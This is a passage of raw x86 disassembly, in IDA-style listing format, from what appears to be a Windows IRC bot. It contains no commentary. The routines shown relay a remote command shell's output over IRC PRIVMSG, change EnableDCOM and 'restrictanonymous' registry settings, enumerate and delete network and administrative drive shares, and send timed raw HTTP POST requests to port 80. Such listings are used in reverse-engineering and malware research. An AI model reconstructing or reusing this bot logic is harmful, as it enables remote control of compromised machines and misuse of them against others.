eax, [ebp+var_298] push eax call sub_41C266 xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_419E97 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409869 add esp, 14h loc_419E97: ; CODE XREF: sub_419E38+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_419C09 add esp, 18h test eax, eax jnz short loc_419EBF push offset unk_43A414 jmp short loc_419EC4 ; --------------------------------------------------------------------------- loc_419EBF: ; CODE XREF: sub_419E38+7Ej push offset unk_43A3F0 loc_419EC4: ; CODE XREF: sub_419E38+85j lea eax, [ebp+var_298] push eax call sub_41C266 cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_419EF7 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409869 add esp, 14h loc_419EF7: ; CODE XREF: sub_419E38+9Dj lea eax, [ebp+var_298] push eax call sub_415D38 push [ebp+var_14] call sub_40B6D6 pop ecx pop ecx push esi nop call near ptr 26E0000h pop edi pop esi sub_419E38 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_419F16 proc near ; CODE XREF: sub_401ACD+7712p ; sub_40B4F5+53p arg_0 = dword ptr 4 push esi push edi push 1 pop edi push [esp+8+arg_0] push 0 push 1F0FFFh call near ptr 26802ECh nop mov esi, eax test esi, esi jz short loc_419F48 push 0 push esi nop call near ptr 2720A41h test eax, eax jnz short loc_419F48 push esi xor edi, edi nop call near ptr 266076Ah loc_419F48: ; CODE XREF: sub_419F16+1Aj ; sub_419F16+27j mov eax, edi pop edi pop esi retn sub_419F16 endp ; --------------------------------------------------------------------------- byte_419F4D db 56h, 33h, 0F6h ; DATA XREF: ___:004015EEo dd 5656016Ah, 0E8565656h, 0FFFFFCADh, 0FF18C483h, 43A23435h dd 95E89000h, 0EB022660h db 0E3h ; =============== S U B R O U T I N E ======================================= sub_419F6D proc near ; CODE XREF: sub_419F9D+2Ap ; sub_419FD5+7Ep ... mov eax, dword_4DBC48 push esi mov esi, dword_427070 cmp eax, 0FFFFFFFFh jz short loc_419F81 push eax call esi loc_419F81: ; CODE XREF: sub_419F6D+Fj mov eax, dword_4DBC50 cmp eax, 0FFFFFFFFh jz short loc_419F8E push eax call esi loc_419F8E: ; CODE XREF: sub_419F6D+1Cj mov eax, dword_4DBC44 cmp eax, 0FFFFFFFFh jz short loc_419F9B push eax call esi loc_419F9B: ; CODE XREF: sub_419F6D+29j pop esi retn sub_419F6D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419F9D proc near ; CODE XREF: sub_401ACD+7475p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_41B9C0 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push dword_4DBC4C nop call near ptr 2710000h test eax, eax jnz short loc_419FD0 call sub_419F6D xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_419FD0: ; CODE XREF: sub_419F9D+28j push 1 pop eax leave retn sub_419F9D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419FD5 proc near ; CODE XREF: sub_41A05C+D3p ; sub_41A05C+F2p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset byte_43DB88 push [ebp+arg_4] call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_41A018 push 7D0h nop call near ptr 2680000h push [ebp+arg_8] lea eax, [ebp+var_200] push [ebp+arg_4] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_41C266 add esp, 10h jmp short loc_41A02F ; --------------------------------------------------------------------------- loc_41A018: ; CODE XREF: sub_419FD5+1Aj push [ebp+arg_8] lea eax, [ebp+var_200] push offset aS_1 ; "%s" push eax call sub_41C266 add esp, 0Ch loc_41A02F: ; CODE XREF: sub_419FD5+41j lea eax, [ebp+var_200] push 0 push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CBA24 test eax, eax jg short loc_41A058 call sub_419F6D loc_41A058: ; CODE XREF: sub_419FD5+7Cj xor eax, eax leave retn sub_419FD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A05C proc near ; DATA XREF: sub_41A1B1+170o var_20C = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset dword_4DBC54 loc_41A074: ; CODE XREF: sub_41A05C+79j ; sub_41A05C+DBj push esi lea eax, [ebp+var_20C] push edi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+var_20C] push esi push eax push dword_4DBC48 nop call near ptr 28708CBh test eax, eax jz loc_41A142 cmp [ebp+var_4], edi jnz short loc_41A0D7 lea eax, [ebp+var_8] push eax push dword_4DBC44 nop call near ptr 28704D7h test eax, eax jz short loc_41A0CD cmp [ebp+var_8], 103h jnz loc_41A166 loc_41A0CD: ; CODE XREF: sub_41A05C+62j push 0Ah nop call near ptr 2680000h jmp short loc_41A074 ; --------------------------------------------------------------------------- loc_41A0D7: ; CODE XREF: sub_41A05C+4Ej xor eax, eax cmp [ebp+var_4], edi jbe short loc_41A0EE loc_41A0DE: ; CODE XREF: sub_41A05C+90j cmp [ebp+eax+var_20C], 0Ah jz short loc_41A13C inc eax cmp eax, [ebp+var_4] jb short loc_41A0DE loc_41A0EE: ; CODE XREF: sub_41A05C+80j mov [ebp+var_4], esi loc_41A0F1: ; CODE XREF: sub_41A05C+E4j push esi lea eax, [ebp+var_20C] push edi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+var_20C] push eax push dword_4DBC48 nop call near ptr 2700000h test eax, eax jz short loc_41A18E lea eax, [ebp+var_20C] push eax push ebx push dword_4DBC88 call sub_419FD5 add esp, 0Ch jmp loc_41A074 ; --------------------------------------------------------------------------- loc_41A13C: ; CODE XREF: sub_41A05C+8Aj inc eax mov [ebp+var_4], eax jmp short loc_41A0F1 ; --------------------------------------------------------------------------- loc_41A142: ; CODE XREF: sub_41A05C+45j push offset unk_43A4C0 push ebx push dword_4DBC88 call sub_419FD5 push [ebp+arg_0] call sub_40B6D6 add esp, 10h push 1 nop call near ptr 26E0000h loc_41A166: ; CODE XREF: sub_41A05C+6Bj call sub_419F6D push offset unk_43A498 push ebx push dword_4DBC88 call sub_419FD5 push [ebp+arg_0] call sub_40B6D6 add esp, 10h push edi nop call near ptr 26E0000h loc_41A18E: ; CODE XREF: sub_41A05C+C3j push offset unk_43A468 push ebx push dword_4DBC88 call sub_419FD5 push [ebp+arg_0] call sub_40B6D6 add esp, 10h push edi nop call near ptr 26E0000h sub_41A05C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A1B1 proc near ; CODE XREF: sub_401ACD+24AAp var_378 = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push ebx push esi push edi call sub_419F6D xor esi, esi lea eax, [ebp+var_178] push esi push eax push 104h push esi push offset dword_4346E0 push esi call dword_4CBA90 test eax, eax jz loc_41A2AB push 1 lea eax, [ebp+var_1C] pop ebx mov edi, dword_427108 push esi push eax lea eax, [ebp+var_C] mov [ebp+var_1C], 0Ch push eax lea eax, [ebp+var_10] push eax mov [ebp+var_14], ebx mov [ebp+var_18], esi call edi test eax, eax jz loc_41A2AB lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi test eax, eax jz loc_41A2AB mov edi, dword_427104 push 3 push esi push esi push offset dword_4DBC4C call edi push eax push [ebp+var_8] call edi push eax nop call near ptr 2730000h test eax, eax jz short loc_41A2AB push 10h lea eax, [ebp+var_2C] push esi push eax call sub_41BF70 push 44h lea eax, [ebp+var_74] pop edi push edi push esi push eax call sub_41BF70 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+var_2C] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push ebx push esi mov ebx, offset byte_43DB88 push esi lea eax, [ebp+var_178] push ebx push eax mov [ebp+var_48], 101h mov [ebp+var_44], si nop call near ptr 2660A8Bh test eax, eax jnz short loc_41A2B3 loc_41A2AB: ; CODE XREF: sub_41A1B1+2Fj ; sub_41A1B1+5Cj ... or eax, 0FFFFFFFFh jmp loc_41A361 ; --------------------------------------------------------------------------- loc_41A2B3: ; CODE XREF: sub_41A1B1+F8j push [ebp+var_4] mov edi, dword_427070 call edi mov eax, [ebp+var_10] push [ebp+var_28] mov dword_4DBC48, eax mov eax, [ebp+var_8] mov dword_4DBC50, eax mov eax, [ebp+var_2C] mov dword_4DBC44, eax call edi mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov dword_4DBC88, eax jz short loc_41A2ED push [ebp+arg_4] jmp short loc_41A2EE ; --------------------------------------------------------------------------- loc_41A2ED: ; CODE XREF: sub_41A1B1+135j push ebx loc_41A2EE: ; CODE XREF: sub_41A1B1+13Aj push offset dword_4DBC54 call sub_41C266 pop ecx pop ecx push esi push 0Ah push offset unk_43A524 call sub_40B3BA mov edi, eax mov ecx, [ebp+var_24] imul edi, 234h add esp, 0Ch mov dword_43E918[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_41A05C push esi push esi nop call near ptr 2680089h cmp eax, esi mov dword_43E924[edi], eax jnz short loc_41A35F call near ptr 2680880h nop push eax lea eax, [ebp+var_378] push offset unk_43A4F0 push eax call sub_41C266 lea eax, [ebp+var_378] push eax call sub_415D38 add esp, 10h loc_41A35F: ; CODE XREF: sub_41A1B1+185j xor eax, eax loc_41A361: ; CODE XREF: sub_41A1B1+FDj pop edi pop esi pop ebx leave retn sub_41A1B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A366 proc near ; DATA XREF: sub_401ACD+2DC8o var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_41A3AD call sub_41A3C6 jmp short loc_41A3B2 ; --------------------------------------------------------------------------- loc_41A3AD: ; CODE XREF: sub_41A366+3Ej call sub_41A6EA loc_41A3B2: ; CODE XREF: sub_41A366+45j add esp, 10h push [ebp+var_14] call sub_40B6D6 pop ecx push 0 nop call near ptr 26E0000h sub_41A366 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A3C6 proc near ; CODE XREF: sub_41A366+40p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_4CBAA4, edi jnz loc_41A4F8 lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CBA44 test eax, eax jnz short loc_41A451 mov ax, word_439298 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CB9F8 test eax, eax jz short loc_41A433 push offset dword_43A7C0 jmp short loc_41A438 ; --------------------------------------------------------------------------- loc_41A433: ; CODE XREF: sub_41A3C6+64j push offset dword_43A7A0 loc_41A438: ; CODE XREF: sub_41A3C6+6Bj lea eax, [ebp+var_214] push eax call sub_41C266 pop ecx pop ecx push [ebp+var_4] call dword_4CB9B0 jmp short loc_41A464 ; --------------------------------------------------------------------------- loc_41A451: ; CODE XREF: sub_41A3C6+36j lea eax, [ebp+var_214] push offset dword_43A770 push eax call sub_41C266 pop ecx pop ecx loc_41A464: ; CODE XREF: sub_41A3C6+89j cmp [ebp+arg_C], edi jnz short loc_41A483 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A483: ; CODE XREF: sub_41A3C6+A1j lea eax, [ebp+var_214] push eax call sub_415D38 pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CBA44 test eax, eax jnz short loc_41A4F1 lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call dword_4CB9F8 test eax, eax jz short loc_41A4D3 push offset dword_43A720 jmp short loc_41A4D8 ; --------------------------------------------------------------------------- loc_41A4D3: ; CODE XREF: sub_41A3C6+104j push offset dword_43A6EC loc_41A4D8: ; CODE XREF: sub_41A3C6+10Bj lea eax, [ebp+var_214] push eax call sub_41C266 pop ecx pop ecx push [ebp+var_4] call dword_4CB9B0 jmp short loc_41A50B ; --------------------------------------------------------------------------- loc_41A4F1: ; CODE XREF: sub_41A3C6+E2j push offset dword_43A6B0 jmp short loc_41A4FD ; --------------------------------------------------------------------------- loc_41A4F8: ; CODE XREF: sub_41A3C6+13j push offset dword_43A680 loc_41A4FD: ; CODE XREF: sub_41A3C6+130j lea eax, [ebp+var_214] push eax call sub_41C266 pop ecx pop ecx loc_41A50B: ; CODE XREF: sub_41A3C6+129j cmp [ebp+arg_C], edi jnz short loc_41A52A push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A52A: ; CODE XREF: sub_41A3C6+148j lea eax, [ebp+var_214] push eax call sub_415D38 cmp dword_4CBACC, edi pop ecx jnz loc_41A6A5 push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_41A54D: ; CODE XREF: sub_41A3C6+2C3j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push edi call dword_4CB918 cmp eax, edi mov [ebp+var_10], eax jz short loc_41A5EA cmp eax, 0EAh jz short loc_41A5EA mov esi, offset off_43A548 loc_41A57E: ; CODE XREF: sub_41A3C6+21Dj push dword ptr [esi] push edi call sub_4191B8 pop ecx pop ecx push dword ptr [esi] test eax, eax jnz short loc_41A595 push offset dword_43A65C jmp short loc_41A59A ; --------------------------------------------------------------------------- loc_41A595: ; CODE XREF: sub_41A3C6+1C6j push offset dword_43A630 loc_41A59A: ; CODE XREF: sub_41A3C6+1CDj lea eax, [ebp+var_214] push 200h push eax call sub_41C360 add esp, 10h cmp [ebp+arg_C], edi jnz short loc_41A5CD push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A5CD: ; CODE XREF: sub_41A3C6+1EBj lea eax, [ebp+var_214] push eax call sub_415D38 add esi, 8 pop ecx cmp esi, offset off_43A568 jb short loc_41A57E jmp loc_41A682 ; --------------------------------------------------------------------------- loc_41A5EA: ; CODE XREF: sub_41A3C6+1AAj ; sub_41A3C6+1B1j mov esi, [ebp+var_8] push 1 pop ebx cmp [ebp+var_4], ebx jb loc_41A679 loc_41A5F9: ; CODE XREF: sub_41A3C6+2AFj mov edi, [esi] push edi call sub_41E0B7 cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_41A66E push edi call sub_4190A5 push eax push 0 call sub_4191B8 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A628 push offset dword_43A60C jmp short loc_41A62D ; --------------------------------------------------------------------------- loc_41A628: ; CODE XREF: sub_41A3C6+259j push offset dword_43A5E0 loc_41A62D: ; CODE XREF: sub_41A3C6+260j lea eax, [ebp+var_214] push 200h push eax call sub_41C360 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A661 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A661: ; CODE XREF: sub_41A3C6+27Fj lea eax, [ebp+var_214] push eax call sub_415D38 pop ecx loc_41A66E: ; CODE XREF: sub_41A3C6+242j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_41A5F9 xor edi, edi loc_41A679: ; CODE XREF: sub_41A3C6+22Dj push [ebp+var_8] call dword_4CBA64 loc_41A682: ; CODE XREF: sub_41A3C6+21Fj cmp [ebp+var_10], 0EAh jz loc_41A54D lea eax, [ebp+var_214] push offset dword_43A5B8 push eax call sub_41C266 pop ecx pop ecx pop ebx jmp short loc_41A6B8 ; --------------------------------------------------------------------------- loc_41A6A5: ; CODE XREF: sub_41A3C6+177j lea eax, [ebp+var_214] push offset dword_43A588 push eax call sub_41C266 pop ecx pop ecx loc_41A6B8: ; CODE XREF: sub_41A3C6+2DDj cmp [ebp+arg_C], edi jnz short loc_41A6D6 push edi lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A6D6: ; CODE XREF: sub_41A3C6+2F5j lea eax, [ebp+var_214] push eax call sub_415D38 pop ecx push 1 pop eax pop edi pop esi leave retn sub_41A3C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A6EA proc near ; CODE XREF: sub_41A366:loc_41A3ADp var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp dword_4CBAA4, ebx push esi jnz loc_41A818 lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CBA44 test eax, eax jnz short loc_41A775 mov ax, word_4392DC mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CB9F8 test eax, eax jz short loc_41A757 push offset dword_43A938 jmp short loc_41A75C ; --------------------------------------------------------------------------- loc_41A757: ; CODE XREF: sub_41A6EA+64j push offset dword_43A91C loc_41A75C: ; CODE XREF: sub_41A6EA+6Bj lea eax, [ebp+var_220] push eax call sub_41C266 pop ecx pop ecx push [ebp+var_4] call dword_4CB9B0 jmp short loc_41A788 ; --------------------------------------------------------------------------- loc_41A775: ; CODE XREF: sub_41A6EA+36j lea eax, [ebp+var_220] push offset dword_43A770 push eax call sub_41C266 pop ecx pop ecx loc_41A788: ; CODE XREF: sub_41A6EA+89j cmp [ebp+arg_C], ebx jnz short loc_41A7A7 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A7A7: ; CODE XREF: sub_41A6EA+A1j lea eax, [ebp+var_220] push eax call sub_415D38 pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CBA44 test eax, eax jnz short loc_41A811 lea eax, [ebp+var_8] push 4 push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], ebx call dword_4CB9F8 test eax, eax jz short loc_41A7F3 push offset dword_43A8DC jmp short loc_41A7F8 ; --------------------------------------------------------------------------- loc_41A7F3: ; CODE XREF: sub_41A6EA+100j push offset dword_43A8A4 loc_41A7F8: ; CODE XREF: sub_41A6EA+107j lea eax, [ebp+var_220] push eax call sub_41C266 pop ecx pop ecx push [ebp+var_4] call dword_4CB9B0 jmp short loc_41A82B ; --------------------------------------------------------------------------- loc_41A811: ; CODE XREF: sub_41A6EA+E2j push offset dword_43A868 jmp short loc_41A81D ; --------------------------------------------------------------------------- loc_41A818: ; CODE XREF: sub_41A6EA+13j push offset dword_43A680 loc_41A81D: ; CODE XREF: sub_41A6EA+12Cj lea eax, [ebp+var_220] push eax call sub_41C266 pop ecx pop ecx loc_41A82B: ; CODE XREF: sub_41A6EA+125j cmp [ebp+arg_C], ebx jnz short loc_41A84A push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A84A: ; CODE XREF: sub_41A6EA+144j lea eax, [ebp+var_220] push eax call sub_415D38 cmp dword_4CBACC, ebx pop ecx jnz loc_41A9BF push edi mov esi, offset off_43A548 mov edi, 200h loc_41A86E: ; CODE XREF: sub_41A6EA+1E9j push dword ptr [esi+4] push dword ptr [esi] push ebx call sub_41910C add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A889 push offset dword_43A848 jmp short loc_41A88E ; --------------------------------------------------------------------------- loc_41A889: ; CODE XREF: sub_41A6EA+196j push offset dword_43A820 loc_41A88E: ; CODE XREF: sub_41A6EA+19Dj lea eax, [ebp+var_220] push edi push eax call sub_41C360 add esp, 10h cmp [ebp+arg_C], ebx jnz short loc_41A8BD push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A8BD: ; CODE XREF: sub_41A6EA+1B7j lea eax, [ebp+var_220] push eax call sub_415D38 add esi, 8 pop ecx cmp esi, offset off_43A558 jb short loc_41A86E call near ptr 2870C59h nop test eax, eax mov [ebp+var_4], eax mov bl, 41h jz loc_41A9A7 loc_41A8E8: ; CODE XREF: sub_41A6EA+2B7j mov eax, [ebp+var_4] and eax, 1 cmp al, 1 jnz loc_41A99C cmp bl, 41h jz loc_41A99C movsx esi, bl push esi push offset aC_2 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_20] push esi push offset aC_1 ; "%c:\\" push 0Ah push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_20] push eax call dword_4CBA34 cmp eax, 3 jnz short loc_41A99C lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 call sub_41910C add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax jnz short loc_41A95A push offset dword_43A848 jmp short loc_41A95F ; --------------------------------------------------------------------------- loc_41A95A: ; CODE XREF: sub_41A6EA+267j push offset dword_43A820 loc_41A95F: ; CODE XREF: sub_41A6EA+26Ej lea eax, [ebp+var_220] push edi push eax call sub_41C360 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A98F push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A98F: ; CODE XREF: sub_41A6EA+289j lea eax, [ebp+var_220] push eax call sub_415D38 pop ecx loc_41A99C: ; CODE XREF: sub_41A6EA+206j ; sub_41A6EA+20Fj ... inc bl shr [ebp+var_4], 1 jnz loc_41A8E8 loc_41A9A7: ; CODE XREF: sub_41A6EA+1F8j lea eax, [ebp+var_220] push offset dword_43A7F0 push eax call sub_41C266 pop ecx xor ebx, ebx pop ecx pop edi jmp short loc_41A9D2 ; --------------------------------------------------------------------------- loc_41A9BF: ; CODE XREF: sub_41A6EA+173j lea eax, [ebp+var_220] push offset dword_43A588 push eax call sub_41C266 pop ecx pop ecx loc_41A9D2: ; CODE XREF: sub_41A6EA+2D3j cmp [ebp+arg_C], ebx jnz short loc_41A9F0 push ebx lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A9F0: ; CODE XREF: sub_41A6EA+2EBj lea eax, [ebp+var_220] push eax call sub_415D38 pop ecx push 1 pop eax pop esi pop ebx leave retn sub_41A6EA endp ; =============== S U B R O U T I N E ======================================= sub_41AA04 proc near ; CODE XREF: sub_41ABFB+CBp ; sub_41ABFB+DDp ... arg_0 = dword ptr 4 nop call near ptr 2690794h push eax call sub_41C2B8 pop ecx call sub_41C2C2 cdq idiv [esp+arg_0] mov eax, edx retn sub_41AA04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AA1E proc near ; CODE XREF: sub_41ABFB+D4p ; sub_41ABFB+E6p ... var_38 = dword ptr -38h var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push ebx push esi push edi push [ebp+arg_0] call sub_41B9C0 mov esi, 0FFh pop ecx cmp eax, esi ja loc_41ABF7 push 10h lea eax, [ebp+var_28] push 0 push eax call sub_41BF70 push [ebp+arg_0] mov [ebp+var_28], 2 call sub_40A8F0 add esp, 10h mov [ebp+var_24], eax test eax, eax jz loc_41ABF7 push 50h call dword_4CB9D4 push 6 push 1 push 2 mov [ebp+var_26], ax call dword_4CBA54 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_41ABF7 lea ecx, [ebp+var_28] push 10h push ecx push eax call dword_4CB97C cmp eax, 0FFFFFFFFh jz loc_41ABF7 push 32003h call sub_41D9A5 mov edi, dword_4270B0 mov ebx, eax pop ecx mov [ebp+var_8], ebx call edi push eax call sub_41C2B8 call sub_41C2C2 cdq idiv esi mov [esp+38h+var_38], 32001h push 0 push ebx movsx esi, dl call sub_41BF70 push 32000h push esi push ebx call sub_41BF70 push ebx call sub_41B9C0 push 323EAh mov ebx, eax call sub_41D9A5 add esp, 20h mov esi, eax push ebx push [ebp+arg_0] push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"... push esi call sub_41C266 push [ebp+var_8] push esi call sub_41C8A0 push offset asc_4349EC ; "\r\n" push esi call sub_41C8A0 push esi call sub_41B9C0 mov ebx, eax add esp, 24h mov [ebp+var_10], ebx call edi mov dword ptr [ebp+var_18+4], eax xor eax, eax test ebx, ebx mov [ebp+arg_0], eax jbe short loc_41AB77 mov [ebp+var_C], ebx mov ebx, 400h jmp short loc_41AB47 ; --------------------------------------------------------------------------- loc_41AB44: ; CODE XREF: sub_41AA1E+157j mov eax, [ebp+arg_0] loc_41AB47: ; CODE XREF: sub_41AA1E+124j mov ecx, [ebp+var_10] push 0 sub ecx, eax cmp ecx, ebx jnb short loc_41AB57 push [ebp+var_C] jmp short loc_41AB58 ; --------------------------------------------------------------------------- loc_41AB57: ; CODE XREF: sub_41AA1E+132j push ebx loc_41AB58: ; CODE XREF: sub_41AA1E+137j add eax, esi push eax push [ebp+var_4] call dword_4CBA24 cmp eax, 0FFFFFFFFh jz short loc_41ABDE add [ebp+arg_0], ebx sub [ebp+var_C], ebx mov eax, [ebp+arg_0] cmp eax, [ebp+var_10] jb short loc_41AB44 loc_41AB77: ; CODE XREF: sub_41AA1E+11Aj call edi sub eax, dword ptr [ebp+var_18+4] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] fmul flt_4276F4 fst [ebp+arg_0] fcomp flt_4276F0 fnstsw ax sahf jnz short loc_41AB9F fld1 fstp [ebp+arg_0] loc_41AB9F: ; CODE XREF: sub_41AA1E+17Aj push [ebp+var_4] call dword_4CBA6C push [ebp+var_8] call sub_41BA91 push esi call sub_41BA91 mov eax, [ebp+var_10] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax pop ecx fild [ebp+var_18] pop ecx fdiv [ebp+arg_0] fmul flt_4276EC fmul flt_4276E8 call sub_41D174 loc_41ABD9: ; CODE XREF: sub_41AA1E+1DBj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41ABDE: ; CODE XREF: sub_41AA1E+149j push [ebp+var_4] call dword_4CBA6C push [ebp+var_8] call sub_41BA91 push esi call sub_41BA91 pop ecx pop ecx loc_41ABF7: ; CODE XREF: sub_41AA1E+19j ; sub_41AA1E+42j ... xor eax, eax jmp short loc_41ABD9 sub_41AA1E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame 